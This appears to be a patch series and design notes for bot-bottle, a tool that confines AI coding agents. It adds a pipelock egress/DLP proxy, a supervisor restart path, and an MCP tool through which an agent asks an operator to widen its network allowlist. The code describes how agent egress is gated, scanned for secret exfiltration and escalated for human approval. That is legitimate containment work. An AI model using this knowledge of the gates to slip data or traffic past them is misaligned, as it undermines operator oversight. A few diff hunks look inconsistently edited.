    lines.append(f"  enabled: {_bool(fp['enabled'])}")
    lines.append("")
    lines.append("dlp:")
    dlp = cfg["dlp"]
    assert isinstance(dlp, dict)
    lines.append(f"  include_defaults: {_bool(dlp['include_defaults'])}")
    lines.append(f"  scan_env: {_bool(dlp['scan_env'])}")
    lines.append("")
    lines.append("request_body_scanning:")
    rbs = cfg["request_body_scanning"]
    assert isinstance(rbs, dict)
    lines.append(f'  action: "{rbs["action"]}"')
    if "scan_headers" in rbs:
        lines.append(f"  scan_headers: {_bool(rbs['scan_headers'])}")
    if "header_mode" in rbs:
        lines.append(f'  header_mode: "{rbs["header_mode"]}"')
    if "tls_interception" in cfg:
        lines.append("")
        lines.append("tls_interception:")
        tls = cfg["tls_interception"]
        assert isinstance(tls, dict)
        lines.append(f"  enabled: {_bool(tls['enabled'])}")
        lines.append(f'  ca_cert: "{tls["ca_cert"]}"')
        lines.append(f'  ca_key: "{tls["ca_key"]}"')
        passthrough = tls["passthrough_domains"]
        assert isinstance(passthrough, list)
        if passthrough:
            lines.append("  passthrough_domains:")
            for d in passthrough:
                lines.append(f'    - "{d}"')
    if "ssrf" in cfg:
        lines.append("")
        lines.append("ssrf:")
        ssrf = cfg["ssrf"]
        assert isinstance(ssrf, dict)
        lines.append("  ip_allowlist:")
        ip_allowlist = ssrf["ip_allowlist"]
        assert isinstance(ip_allowlist, list)
        for ip in ip_allowlist:
            lines.append(f'    - "{ip}"')
    return "\n".join(lines) + "\n"
 # --- Proxy class -----------------------------------------------------------
@dataclass(frozen=True)
 class PipelockProxyPlan:
    """Output of PipelockProxy.prepare; consumed by .start when the
    sidecar needs to be brought up.
    yaml_path + slug are filled in at prepare time (host-side, side-
    effect-free; the YAML references the in-container CA paths
    already so it doesn't need the host paths to be valid). The
    remaining fields are populated by the backend's launch step
    via `dataclasses.replace`: internal/egress networks once
    those networks exist, the CA host paths once the one-shot
    `pipelock tls init` has run, and `internal_network_cidr` once
    Docker has assigned a subnet to the internal network. Empty
    defaults are sentinels meaning "not yet set"; `.start` validates
    that they are populated.
    `internal_network_cidr` ends up on pipelock's `ssrf.ip_allowlist`
    so traffic from sibling sidecars (egress → pipelock on the
    upstream leg, etc.) bypasses pipelock's RFC1918 SSRF guard while
    api_allowlist and body-scanning still apply."""
    yaml_path: Path
    slug: str
    internal_network: str = ""
    internal_network_cidr: str = ""
    egress_network: str = ""
    ca_cert_host_path: Path = Path()
    ca_key_host_path: Path = Path()
 class PipelockProxy:
    """The pipelock egress proxy. Encapsulates the YAML-config
    generation; the container lifecycle is owned by whatever
    wraps the daemon (compose-managed pipelock container on docker,
    sidecar-bundle PID 1 on smolmachines).
    Backends instantiate the class directly — there are no
    platform-specific subclasses; the in-container CA paths are
    universal module-level constants
    (`PIPELOCK_CA_CERT_IN_CONTAINER` / `PIPELOCK_CA_KEY_IN_CONTAINER`)."""
    def prepare(
        self,
        bottle: Bottle,
        slug: str,
        stage_dir: Path,
        provider_routes: tuple[EgressRoute, ...] = (),
    ) -> PipelockProxyPlan:
        """Write the pipelock yaml config (mode 600) under `stage_dir`
        and return the plan for launch. Pure host-side, no docker
        subprocess.
        `slug` is the agent-derived identifier (lowercased,
        hyphen-normalized) used as the suffix in every per-agent
        resource name — the agent container, the sidecar bundle
        container, the internal/egress networks. It's stored on the
        returned plan so the backend's launch step can derive those
        names.
        The CA paths the YAML references are the module-level
        in-container constants. The host-side counterparts are
        generated by the launch step (not here, so prepare stays
        side-effect-free on docker) and added to the plan via
        `dataclasses.replace` before the daemon starts."""
        yaml_path = stage_dir / "pipelock.yaml"
        cfg = pipelock_build_config(
            bottle,
            ca_cert_path=PIPELOCK_CA_CERT_IN_CONTAINER,
            ca_key_path=PIPELOCK_CA_KEY_IN_CONTAINER,
            provider_routes=provider_routes,
        )
        yaml_path.write_text(pipelock_render_yaml(cfg))
        yaml_path.chmod(0o600)
        return PipelockProxyPlan(yaml_path=yaml_path, slug=slug)
@@ -1,7 +1,7 @@
 """Per-bottle sidecar supervisor (PRD 0024 chunk 1).
 PID 1 inside the `bot-bottle-sidecars` bundle image. Spawns
-the configured daemons (egress, git-gate, supervise),
+the configured daemons (egress, pipelock, git-gate, supervise),
 forwards SIGTERM/SIGINT to each child, and propagates per-daemon
 stdout+stderr to the container log with a `[name] ` prefix.
@@ -19,7 +19,7 @@ PR; the interim policy is "don't take the bundle down for one
 sick daemon."
 Daemon subset is env-driven. The compose renderer narrows it via
-`BOT_BOTTLE_SIDECAR_DAEMONS=egress` for bottles that
+`BOT_BOTTLE_SIDECAR_DAEMONS=egress,pipelock` for bottles that
 don't use git-gate or supervise. Default: all daemons.
 Stdlib-only by design — adding supervisord/s6/runit for four
@@ -57,7 +57,14 @@ class _DaemonSpec:
 # Env-var name prefixes that carry egress-only credentials.
 # `egress_apply.py` assigns `EGRESS_TOKEN_<n>` slots that egress
 # reads to inject `Authorization` headers on configured routes;
-# no other daemon in the bundle should see these values.
+# every other daemon in the bundle (especially pipelock with
 # `scan_env: true`) MUST NOT see these values or it'll match the
 # injected token in the request egress just sent and 403-block
 # the legitimate traffic (issue #84). The agent itself runs in a
 # different machine and never has access to these slots in the
 # first place, so stripping them from non-egress daemons loses no
 # DLP coverage — pipelock can't catch the exfil of a value the
 # agent doesn't have.
 _EGRESS_ONLY_ENV_PREFIXES: tuple[str, ...] = ("EGRESS_TOKEN_",)
@@ -74,8 +81,22 @@ def _env_for_daemon(name: str, base_env: dict[str, str]) -> dict[str, str]:
    }
 # Order matters only for first-launch race-window reasons: egress
 # starts first so pipelock's upstream connect succeeds during
 # pipelock's own startup. git-gate and supervise are independent.
 # Pipelock binds 0.0.0.0:8888 explicitly. Without `--listen` it
 # defaults to 127.0.0.1 which would be unreachable from sibling
 # services on the docker network. The legacy four-sidecar
 # compose renderer passed the same flag; the bundle keeps the
 # explicit binding.
 _DAEMONS: tuple[_DaemonSpec, ...] = (
    _DaemonSpec("egress", ("/bin/sh", "/app/egress-entrypoint.sh")),
    _DaemonSpec(
        "pipelock",
        ("/usr/local/bin/pipelock", "run",
         "--config", "/etc/pipelock.yaml",
         "--listen", "0.0.0.0:8888"),
    ),
    _DaemonSpec("git-gate", ("/bin/sh", "/git-gate-entrypoint.sh")),
    _DaemonSpec("git-http", ("python3", "/app/git_http_backend.py")),
    _DaemonSpec("supervise", ("python3", "/app/supervise_server.py")),
@@ -117,7 +138,7 @@ def _pump(name: str, stream: IO[bytes]) -> None:
        sys.stdout.flush()
-def _spawn(spec: _DaemonSpec) -> subprocess.Popen[bytes]:
+def _spawn(spec: _DaemonSpec) -> subprocess.Popen:
    proc = subprocess.Popen(
        list(spec.argv),
        stdout=subprocess.PIPE,
@@ -137,7 +158,7 @@ class _Supervisor:
    def __init__(self, specs: Sequence[_DaemonSpec]):
        self.specs = tuple(specs)
-        self.procs: list[tuple[_DaemonSpec, subprocess.Popen[bytes]]] = []
+        self.procs: list[tuple[_DaemonSpec, subprocess.Popen]] = []
        self.shutdown_at: float | None = None
        # Names of children that have been logged as having exited
        # so we only log each death once across watch-loop ticks.
@@ -282,8 +303,10 @@ class _Supervisor:
    def restart_daemon(self, daemon_name: str, *, grace: float = 5.0) -> bool:
        """Terminate one named child and spawn a fresh one, leaving
-        the other daemons running. A daemon that has no in-process
+        the other daemons running. Used by the pipelock-apply path:
-        reload can be restarted this way after its config file changes.
+        pipelock has no in-process reload, so apply_allowlist_change
        runs `docker kill --signal USR1 <bundle>` after writing the
        new yaml; the supervisor catches SIGUSR1 and calls this.
        Behavior: SIGTERM → wait up to `grace` seconds → SIGKILL if
        still alive → spawn a replacement under the same DaemonSpec.
@@ -291,8 +314,8 @@ class _Supervisor:
        forward_signal / shutdown calls reach the new pid.
        Returns True iff a daemon by that name was running and a
-        replacement spawned; False if no such daemon (not wired
+        replacement spawned; False if no such daemon (the
-        for this bottle)."""
+        compose-renderer subset said this bottle doesn't run it)."""
        if self.shutdown_at is not None:
            _log(f"restart {daemon_name} skipped; supervisor is shutting down")
            return False
@@ -337,13 +360,20 @@ def main(argv: Sequence[str] | None = None) -> int:
    sup = _Supervisor(specs)
    sup.start_all()
-    signal.signal(signal.SIGTERM, lambda *_: sup.request_shutdown("SIGTERM"))  # type: ignore
+    signal.signal(signal.SIGTERM, lambda *_: sup.request_shutdown("SIGTERM"))
-    signal.signal(signal.SIGINT, lambda *_: sup.request_shutdown("SIGINT"))  # type: ignore
+    signal.signal(signal.SIGINT, lambda *_: sup.request_shutdown("SIGINT"))
    # SIGHUP reload path: egress_apply.py runs `docker kill
    # --signal HUP <bundle>` after writing routes.yaml. The kernel
    # delivers SIGHUP to PID 1 (this supervisor); forward it to
    # mitmdump so it reloads its addon.
-    signal.signal(signal.SIGHUP, lambda *_: sup.forward_signal(signal.SIGHUP, "egress"))  # type: ignore
+    signal.signal(signal.SIGHUP, lambda *_: sup.forward_signal(signal.SIGHUP, "egress"))
    # SIGUSR1 pipelock-restart path: pipelock_apply.py runs
    # `docker kill --signal USR1 <bundle>` after writing
    # pipelock.yaml. Pipelock has no in-process reload, so the
    # supervisor restarts the pipelock daemon in place (other
    # daemons keep running — specifically supervise, whose MCP
    # socket would drop on a whole-container `docker restart`).
    signal.signal(signal.SIGUSR1, lambda *_: sup.request_restart("pipelock"))
    while not sup.tick():
        time.sleep(_POLL_INTERVAL)
@@ -6,7 +6,8 @@ sits on the bottle's internal network and exposes three MCP tools the
 agent calls when it hits a stuck-recovery category:
  * egress-block — agent proposes a new routes.yaml
-  * capability-block — agent proposes a new agent Dockerfile
+  * pipelock-block     — agent proposes a new pipelock allowlist
  * capability-block   — agent proposes a new agent Dockerfile
 Each tool call: the agent passes the full proposed file plus a
 justification text. The sidecar validates the proposal syntactically,
@@ -39,7 +40,7 @@ import json
 import os
 import time
 import uuid
-from abc import ABC
+from abc import ABC, abstractmethod
 from dataclasses import dataclass
 from datetime import datetime, timezone
 from pathlib import Path
@@ -49,10 +50,12 @@ SUPERVISE_HOSTNAME = "supervise"
 SUPERVISE_PORT = 9100
 TOOL_EGRESS_BLOCK = "egress-block"
 TOOL_PIPELOCK_BLOCK = "pipelock-block"
 TOOL_CAPABILITY_BLOCK = "capability-block"
 TOOL_LIST_EGRESS_ROUTES = "list-egress-routes"
 TOOLS: tuple[str, ...] = (
    TOOL_EGRESS_BLOCK,
    TOOL_PIPELOCK_BLOCK,
    TOOL_CAPABILITY_BLOCK,
    TOOL_LIST_EGRESS_ROUTES,
 )
@@ -73,6 +76,7 @@ EGRESS_INTROSPECT_URL = "http://_egress.local/allowlist"
 # record laid down in PRD 0016.
 COMPONENT_FOR_TOOL: dict[str, str] = {
    TOOL_EGRESS_BLOCK: "egress",
    TOOL_PIPELOCK_BLOCK: "pipelock",
 }
 STATUS_APPROVED = "approved"
@@ -81,7 +85,8 @@ STATUS_REJECTED = "rejected"
 STATUSES: tuple[str, ...] = (STATUS_APPROVED, STATUS_MODIFIED, STATUS_REJECTED)
 # Operator-initiated audit entries (no tool call). PRD 0014's
-# `routes edit <bottle>` verb writes entries with this action.
+# `routes edit <bottle>` and PRD 0015's `pipelock edit <bottle>`
 # verbs write entries with this action.
 ACTION_OPERATOR_EDIT = "operator-edit"
 QUEUE_DIR_IN_CONTAINER = "/run/supervise/queue"
@@ -514,22 +519,22 @@ def _atomic_write(path: Path, content: str, *, mode: int) -> None:
 try:
    import fcntl as _fcntl
-    def _try_flock(fd: int) -> None:  # type: ignore[reportRedeclaration]
+    def _try_flock(fd: int) -> None:
        try:
            _fcntl.flock(fd, _fcntl.LOCK_EX)
        except OSError:
            pass
-    def _try_funlock(fd: int) -> None:  # type: ignore[reportRedeclaration]
+    def _try_funlock(fd: int) -> None:
        try:
            _fcntl.flock(fd, _fcntl.LOCK_UN)
        except OSError:
            pass
 except ImportError:  # pragma: no cover — Windows path
-    def _try_flock(fd: int) -> None:  # noqa: F841 — Windows fallback
+    def _try_flock(fd: int) -> None:
        return None
-    def _try_funlock(fd: int) -> None:  # noqa: F841 — Windows fallback
+    def _try_funlock(fd: int) -> None:
        return None
@@ -557,6 +562,7 @@ __all__ = [
    "TOOL_CAPABILITY_BLOCK",
    "TOOL_EGRESS_BLOCK",
    "TOOL_LIST_EGRESS_ROUTES",
    "TOOL_PIPELOCK_BLOCK",
    "archive_proposal",
    "audit_dir",
    "audit_log_path",
@@ -1,8 +1,8 @@
 """Supervise sidecar HTTP server (PRD 0013).
-Per-bottle MCP server exposing two tools — `egress-block`,
+Per-bottle MCP server exposing three tools — `egress-block`,
-`capability-block` — that the agent calls to propose config changes
+`pipelock-block`, `capability-block` — that the agent calls to
-when stuck. Each tool call:
+propose config changes when stuck. Each tool call:
  1. Validates the proposed file syntactically.
  2. Writes a Proposal to /run/supervise/queue/ (bind-mounted from
@@ -18,7 +18,7 @@ Speaks MCP over HTTP+JSON-RPC. Methods handled:
  * `initialize`           — handshake; returns server info + caps.
  * `notifications/initialized` — ack-only.
-  * `tools/list`           — returns the tool definitions.
+  * `tools/list`           — returns the three tool definitions.
  * `tools/call`           — validates, queues, blocks, returns.
 Everything else returns JSON-RPC error -32601 (method not found).
@@ -38,6 +38,7 @@ import sys
 import time
 import typing
 import urllib.error
 import urllib.parse
 import urllib.request
 from dataclasses import dataclass
 from pathlib import Path
@@ -150,18 +151,15 @@ TOOL_DEFINITIONS: list[dict[str, object]] = [
            "or rejects in the supervise TUI. On approval the "
            "supervisor writes the merged routes.yaml, SIGHUPs "
            "egress (atomic swap, no dropped connections), and "
-            "writes the merged routes.yaml and SIGHUPs egress "
+            "mirrors the host onto pipelock's allowlist for the "
-            "(atomic swap, no dropped connections)."
+            "downstream gate."
        ),
        "inputSchema": {
            "type": "object",
            "properties": {
                "host": {
                    "type": "string",
-                    "description": (
+                    "description": "The hostname to allow (e.g. 'api.github.com'). Case-insensitive on match.",
                        "The hostname to allow (e.g. 'api.github.com'). "
                        "Case-insensitive on match."
                    ),
                },
                "path_allowlist": {
                    "type": "array",
@@ -202,11 +200,15 @@ TOOL_DEFINITIONS: list[dict[str, object]] = [
        "name": _sv.TOOL_LIST_EGRESS_ROUTES,
        "description": (
            "List the current egress route table — the bottle's "
-            "allowlist. Returns JSON with one entry per allowed host, "
+            "primary egress allowlist. Returns JSON with one entry "
-            "each carrying its path_allowlist (if any) and whether "
+            "per allowed host, each carrying its path_allowlist (if "
-            "the proxy injects Authorization for the route. Use this "
+            "any) and whether the proxy injects Authorization for "
-            "before composing an `egress-block` proposal so the new "
+            "the route. Use this before composing an "
-            "routes file extends the live one rather than replacing it."
+            "`egress-block` proposal so the new routes file "
            "extends the live one rather than replacing it. "
            "Pipelock's allowlist is a mirror of this set — every "
            "host listed here is also reachable through pipelock's "
            "downstream hostname gate."
        ),
        "inputSchema": {
            "type": "object",
@@ -214,12 +216,48 @@ TOOL_DEFINITIONS: list[dict[str, object]] = [
            "additionalProperties": False,
        },
    },
    {
        "name": _sv.TOOL_PIPELOCK_BLOCK,
        "description": (
            "Call when pipelock refused your outbound request and "
            "the failing host is genuinely missing from the bottle's "
            "allowlist (vs. blocked for DLP reasons — those need a "
            "different remediation). In practice pipelock's allowlist "
            "is now a mirror of the egress routes set by "
            "`egress-block`, so prefer that tool when you want "
            "to add a host. This tool stays available for the rare "
            "case where pipelock and egress have diverged. "
            "Pass the full URL you tried to hit (scheme + host + "
            "path); the supervisor extracts the hostname and merges "
            "it into pipelock's allowlist. On approval the "
            "supervisor restarts pipelock."
        ),
        "inputSchema": {
            "type": "object",
            "properties": {
                "failed_url": {
                    "type": "string",
                    "description": (
                        "The full URL pipelock blocked, e.g. "
                        "https://api.github.com/repos/foo/bar. Scheme "
                        "and hostname are required; path is recorded "
                        "as operator context."
                    ),
                },
                "justification": {
                    "type": "string",
                    "description": "Why the new host should be allowed.",
                },
            },
            "required": ["failed_url", "justification"],
        },
    },
    {
        "name": _sv.TOOL_CAPABILITY_BLOCK,
        "description": (
            "Call when the bottle is missing a tool, skill, permission, "
            "or env var you need — something that lives in the agent "
-            "Dockerfile rather than in the egress routes. "
+            "Dockerfile rather than in routes or the pipelock allowlist. "
            "Read the current Dockerfile from "
            "/etc/bot-bottle/current-config/Dockerfile, compose a "
            "modified version, and pass the full new file plus a "
@@ -245,10 +283,27 @@ TOOL_DEFINITIONS: list[dict[str, object]] = [
 ]
-# Map each non-egress tool to the input field that carries the agent's
+# Map each tool to the input field that carries the agent's
-# payload (stored in Proposal.proposed_file). egress-block builds its
+# tool-specific payload (stored in Proposal.proposed_file as
-# payload from structured input fields in `handle_egress_block`.
+# free-form text the apply path interprets per tool).
 #
 #   egress-block: JSON object describing a SINGLE route to
 #                       add — `{host, path_allowlist?, auth?}`. The
 #                       supervisor merges this into the live routes
 #                       file at approval time.
 #   pipelock-block:     the full failed URL (scheme + host + path) —
 #                       supervisor extracts the host, merges into the
 #                       bottle's current allowlist; the path is shown
 #                       to the operator for context (pipelock doesn't
 #                       do path-level matching).
 #   capability-block:   full proposed Dockerfile
 #
 # Egress-proxy-block doesn't use a single "field name" → the JSON
 # payload is constructed from multiple structured input fields in
 # `handle_egress_block`. The mapping stays one-entry-per-tool
 # so the generic dispatch keeps working for the other two.
 PROPOSED_FILE_FIELD: dict[str, str] = {
    _sv.TOOL_PIPELOCK_BLOCK: "failed_url",
    _sv.TOOL_CAPABILITY_BLOCK: "dockerfile",
 }
@@ -267,7 +322,23 @@ def validate_proposed_file(tool: str, content: str) -> None:
    enter the queue."""
    if not content.strip():
        raise _RpcError(ERR_INVALID_PARAMS, f"{tool}: proposed file is empty")
-    if tool == _sv.TOOL_CAPABILITY_BLOCK:
+    if tool == _sv.TOOL_PIPELOCK_BLOCK:
        # `content` is the full failed URL. Require scheme + host so
        # the supervisor can extract a hostname for the allowlist
        # merge; the path is preserved for operator context.
        parsed = urllib.parse.urlsplit(content.strip())
        if parsed.scheme not in ("http", "https"):
            raise _RpcError(
                ERR_INVALID_PARAMS,
                f"{tool}: failed_url must start with http:// or https:// "
                f"(got {content!r})",
            )
        if not parsed.hostname:
            raise _RpcError(
                ERR_INVALID_PARAMS,
                f"{tool}: failed_url is missing a hostname (got {content!r})",
            )
    elif tool == _sv.TOOL_CAPABILITY_BLOCK:
        # Dockerfiles are too varied to validate syntactically beyond
        # non-empty. The operator reads the diff in the TUI.
        pass
@@ -411,7 +482,7 @@ def handle_tools_call(
    if not isinstance(name, str):
        raise _RpcError(ERR_INVALID_PARAMS, "tools/call missing 'name'")
    if name == _sv.TOOL_LIST_EGRESS_ROUTES:
-        return handle_list_egress_routes(typing.cast(dict[str, object], params.get("arguments", {})), config)
+        return handle_list_egress_routes(params.get("arguments", {}), config)
    args_raw = params.get("arguments", {})
    if not isinstance(args_raw, dict):
@@ -516,7 +587,7 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):
    server_version = f"{SERVER_NAME}/{SERVER_VERSION}"
-    def log_message(self, format: str, *args: typing.Any) -> None:  # noqa: A002
+    def log_message(self, format: str, *args: typing.Any) -> None:
        if os.environ.get("SUPERVISE_DEBUG"):
            super().log_message(format, *args)
@@ -556,7 +627,7 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):
        except _RpcError as e:
            self._write_jsonrpc(jsonrpc_error(req.id, e.code, e.message))
            return
-        except Exception as e:  # noqa: W0718 — catch-all for RPC dispatch errors
+        except Exception as e:  # pragma: no cover — defensive
            sys.stderr.write(f"supervise: internal error: {e}\n")
            self._write_jsonrpc(jsonrpc_error(req.id, ERR_INTERNAL, "internal error"))
            return
@@ -13,15 +13,8 @@ DEFAULT_WORKSPACE_MODE = "755"
 class WorkspaceSpec(Protocol):
-    @property
+    copy_cwd: bool
-    def copy_cwd(self) -> bool:
+    user_cwd: str
        """Whether to copy the current working directory."""
        ...
    @property
    def user_cwd(self) -> str:
        """The user's current working directory."""
        ...
@dataclass(frozen=True)
@@ -58,12 +58,11 @@ from __future__ import annotations
 import re
 from dataclasses import dataclass
 from typing import cast
 class YamlSubsetError(ValueError):
    """Raised when input violates the YAML subset's rules. Callers
-    that want fatal-exit semantics (manifest loader, egress-apply,
+    that want fatal-exit semantics (manifest loader, pipelock-apply,
    etc.) catch this at their own boundary and forward to `die`;
    callers running outside the bot-bottle CLI process (the
    egress sidecar's addon) handle it as a normal exception."""
@@ -284,7 +283,7 @@ def _split_flow(body: str, lineno: int, kind: str) -> list[str]:
    depth_c = 0
    in_single = False
    in_double = False
-    cur: list[str] = []
+    cur = []
    for ch in body:
        if ch == "'" and not in_double:
            in_single = not in_single
@@ -331,7 +330,6 @@ def _split_key_value(content: str, lineno: int) -> tuple[str, str]:
            if i + 1 >= len(content) or content[i + 1] in (" ", "\t"):
                return content[:i].strip(), content[i + 1:].lstrip()
    die(f"yaml-subset: line {lineno} missing `: ` separator: {content!r}")
    return "", ""  # unreachable, but needed for type checker
 def _parse_block(
@@ -538,7 +536,7 @@ def parse_yaml_subset(text: str) -> dict[str, object]:
        )
    if not isinstance(value, dict):
        die("yaml-subset: top-level value must be a mapping")
-    return cast(dict[str, object], value)
+    return value
 def parse_frontmatter(text: str) -> tuple[dict[str, object], str]:
@@ -0,0 +1,283 @@
 # PRD 0049: Named / Labelled Agents
 - **Status:** Draft
 - **Author:** didericis
 - **Created:** 2026-06-03
 - **Issue:** #171
 ## Summary
 At agent launch time, prompt the operator for a short human-readable label
 (defaulting to the manifest agent key) and an optional color from the 16-color
 ANSI palette. Store both in the bottle's `metadata.json`. Display the label —
 rendered in the chosen color — in the dashboard's active-agents pane, replacing
 the bare manifest key. Inject the label and color into the in-container
 `claude.json` as `name` / `color` so Claude Code can surface them in its own
 harness when upstream support lands.
 ## Problem
 The dashboard's agents pane identifies each running instance by its manifest
 agent key (e.g., `implementer`) plus a random slug suffix. When an operator
 runs three `implementer` bottles simultaneously — one each for three different
 repos — the pane shows:
 ```
  [docker] a3f9  implementer  started 14:02:11  [egress,pipelock]
  [docker] b81c  implementer  started 14:03:45  [egress,pipelock]
  [docker] d220  implementer  started 14:05:01  [egress,pipelock]
 ```
 There is no way to tell which bottle is working on which task without attaching
 to each one in turn. The slug is opaque; the manifest key is shared. Operators
 working a multi-bottle session resort to keeping a mental map of slug→task,
 which breaks the moment they switch windows.
 ## Goals / Success Criteria
 1. After the operator selects an agent name (dashboard picker or CLI argument),
   they are prompted for a label. The prompt suggests the manifest key as the
   default; pressing Enter (or providing no input) accepts it. The label may
   contain any printable characters up to 64 bytes.
 2. After the label prompt, the operator is optionally prompted for a color from
   the 16-color ANSI palette (names: `black`, `red`, `green`, `yellow`, `blue`,
   `magenta`, `cyan`, `white`, `bright-black`, `bright-red`, `bright-green`,
   `bright-yellow`, `bright-blue`, `bright-magenta`, `bright-cyan`,
   `bright-white`). Pressing Enter without a selection skips color entirely.
 3. `label` and `color` are stored in `BottleMetadata` and written to the
   bottle's `metadata.json`. Both fields default to `""` (empty / unset).
 4. `ActiveAgent` carries `label` and `color`; `enumerate_active()` reads them
   from `metadata.json`.
 5. `_format_agent_row` uses the label when non-empty (falling back to
   `agent_name`). If a non-empty color is set and the terminal supports it, the
   label substring is rendered in that color.
 6. `BottleSpec` carries `label` and `color`; the docker backend's `prepare`
   step copies them into `BottleMetadata`.
 7. `agent_provider.py` writes `label` → `"name"` and `color` → `"color"` into
   the generated `claude.json`, alongside the existing fields. Fields are
   omitted when empty.
 8. The dashboard's `_new_agent_flow` (PRD 0020) includes the label+color step
   between agent selection and the backend picker.
 9. `cmd_start` (CLI) includes the label+color step after argument validation
   and before prepare-with-preflight.
 10. All existing unit tests stay green; no new tests are required for this
    change (the label/color fields are thin plumbing with no branching logic
    worth unit-testing beyond the already-tested metadata read/write path).
 ## Non-goals
 - Showing the agent label inside the Claude Code TUI (status line, terminal
  title, custom header). That requires upstream Claude Code / codex support.
  Writing to `claude.json` is best-effort scaffolding for when that lands.
 - Per-bottle color affecting anything outside the dashboard agents pane (e.g.,
  proposal-pane highlights, log prefixes).
 - Validating or constraining label content beyond the 64-byte printable cap.
 - Persisting color-pair state across dashboard restarts (color pairs are
  initialized fresh each session).
 - Editing the label or color of an already-running bottle.
 - Exposing label/color via `./cli.py list` (out of scope for v1; trivial to
  add later since the field will be in metadata).
 ## Design
 ### Data flow
 ```
 operator input
     │
     ▼
 BottleSpec.label, BottleSpec.color
     │
     ├─► docker/prepare.py → BottleMetadata.label / .color → metadata.json
     │
     └─► agent_provider.py → claude.json {"name": label, "color": color}
                                              (omitted when empty)
 dashboard refresh
     │
     ▼
 enumerate_active() → read_metadata(slug) → ActiveAgent.label / .color
     │
     ▼
 _format_agent_row → label (colored) in the row string
 ```
 ### BottleSpec changes
 ```python
@dataclass(frozen=True)
 class BottleSpec:
    manifest: Manifest
    agent_name: str
    copy_cwd: bool
    user_cwd: str
    identity: str = ""
    label: str = ""   # operator-chosen display name; defaults to agent_name at render time
    color: str = ""   # one of the 16 ANSI color names, or "" for terminal default
 ```
 `label` and `color` default to `""` so all existing callers remain valid with
 no changes.
 ### BottleMetadata changes
 Add two new fields with backward-compatible defaults:
 ```python
@dataclass
 class BottleMetadata:
    identity: str
    agent_name: str
    cwd: str
    copy_cwd: bool
    started_at: str
    compose_project: str
    backend: str
    label: str = ""
    color: str = ""
 ```
 `metadata.json` written by older bot-bottle versions won't have these keys;
 `read_metadata` already uses `dict.get` with defaults, so existing slugs load
 cleanly with `label=""`, `color=""`.
 ### ActiveAgent changes
 ```python
@dataclass(frozen=True)
 class ActiveAgent:
    backend_name: str
    slug: str
    agent_name: str
    started_at: str
    services: tuple[str, ...]
    label: str = ""
    color: str = ""
 ```
 `enumerate_active()` copies `label` and `color` out of `BottleMetadata` when
 constructing each `ActiveAgent`. The smolmachines backend gets the same
 additions for symmetry; it reads from its own metadata path.
 ### Dashboard row rendering
 `_format_agent_row` already falls through cleanly on missing fields. The
 change is:
 ```python
 display_name = a.label if a.label else a.agent_name
 ```
 Color rendering uses the existing `_try_init_green()` pattern as a model.
 A `_color_pair_for(color_name)` helper initialises a fresh curses color pair
 for the requested named color and returns its attr (or 0 on failure). Each
 unique color in the active agent list gets its own pair index. Color pairs are
 allocated lazily and cached in a `dict[str, int]` that lives for the duration
 of the dashboard session.
 The 16 ANSI color name → curses constant mapping:
 | Name | curses constant |
 |------|----------------|
 | `black` | `curses.COLOR_BLACK` |
 | `red` | `curses.COLOR_RED` |
 | `green` | `curses.COLOR_GREEN` |
 | `yellow` | `curses.COLOR_YELLOW` |
 | `blue` | `curses.COLOR_BLUE` |
 | `magenta` | `curses.COLOR_MAGENTA` |
 | `cyan` | `curses.COLOR_CYAN` |
 | `white` | `curses.COLOR_WHITE` |
 | `bright-*` | same constant + `curses.A_BOLD` |
 Terminals that don't support color fall back to plain text (the helper returns
 0, which ORed in is a no-op — same pattern as `_try_init_green`).
 ### Label + color prompt — dashboard
 In `_new_agent_flow`, after `_picker_modal` returns a non-None name and before
 `_backend_picker_modal`:
 ```python
 label, color = _label_color_modal(stdscr, default_label=picked)
 ```
 `_label_color_modal` uses `curses.endwin()` → text-mode prompts → restore
 (the same drop-and-resume pattern as the existing editor flow and preflight
 Y/N). Two sequential prompts:
 ```
 bot-bottle: agent label [implementer]: <operator types>
 bot-bottle: color (red/green/blue/… or Enter to skip): <operator types>
 ```
 Invalid color names are silently ignored (treated as empty). The function
 returns `(label, color)` — both strings, both possibly `""`.
 ### Label + color prompt — CLI
 In `cmd_start`, after argument parsing and before `_launch_bottle`:
 ```python
 label = _text_prompt_label(args.name)
 color = _text_prompt_color()
 ```
 `_text_prompt_label(default)` writes `"bot-bottle: agent label [{default}]: "`
 to stderr and returns the stripped input (or `default` if blank).
 `_text_prompt_color()` writes the color prompt and returns the stripped input
 (or `""` if blank or invalid).
 Both use `read_tty_line()` (already in `start.py`) for the read.
 ### Claude Code config injection
 In `agent_provider.py`, where `claude_config.write_text(...)` is called,
 expand the JSON dict conditionally:
 ```python
 payload = {
    "hasCompletedOnboarding": True,
    "theme": "dark",
    "bypassPermissionsModeAccepted": True,
    "projects": claude_projects,
 }
 if spec.label:
    payload["name"] = spec.label
 if spec.color:
    payload["color"] = spec.color
 claude_config.write_text(json.dumps(payload, indent=2) + "\n")
 ```
 `spec` here is the `AgentProvisionSpec` (or equivalent) that `agent_provider`
 already receives; it needs `label` and `color` threaded in from `BottleSpec`
 through whatever plan/provision object the provider operates on.
 ## Implementation chunks
 Two PRs, each independently mergeable.
 ### Chunk 1 — schema + storage
 - Add `label: str = ""` and `color: str = ""` to `BottleSpec`,
  `BottleMetadata`, and `ActiveAgent`.
 - `docker/prepare.py`: copy `spec.label` / `spec.color` into `BottleMetadata`.
 - `docker/enumerate.py`: copy `metadata.label` / `metadata.color` into
  `ActiveAgent`.
 - `agent_provider.py` (or the plan object it reads): thread label/color through
  to `claude.json` write.
 - Smolmachines backend: parallel changes to metadata read/write and
  `ActiveAgent` construction.
 - No prompt changes; no UI changes. All existing behavior is identical.
 ### Chunk 2 — prompts + display
 - `start.py`: add `_text_prompt_label` and `_text_prompt_color`; call them in
  `cmd_start` before `_launch_bottle`; pass `label` / `color` into `BottleSpec`.
 - `dashboard.py`: add `_label_color_modal` (drop-and-resume); call it in
  `_new_agent_flow`; pass label/color into `BottleSpec`; add
  `_color_pair_for` helper; update `_format_agent_row` to use `a.label` with
  color rendering.
 ## Open questions
 None.
@@ -1,157 +0,0 @@
 # PRD 0051: Launch selector
 - **Status:** Active
 - **Author:** claude
 - **Created:** 2026-06-04
 - **Issue:** #185
 ## Summary
 When `./cli.py start` is run without an agent name, or without a backend
 explicitly specified, the user currently gets an argparse error (missing
 positional) or falls through to the `docker` default silently. This PRD
 adds a terminal UI that appears in those gaps: a filter-select screen
 built with `curses` that lets the operator pick the agent and/or backend
 interactively rather than memorising names or consulting `./cli.py list`.
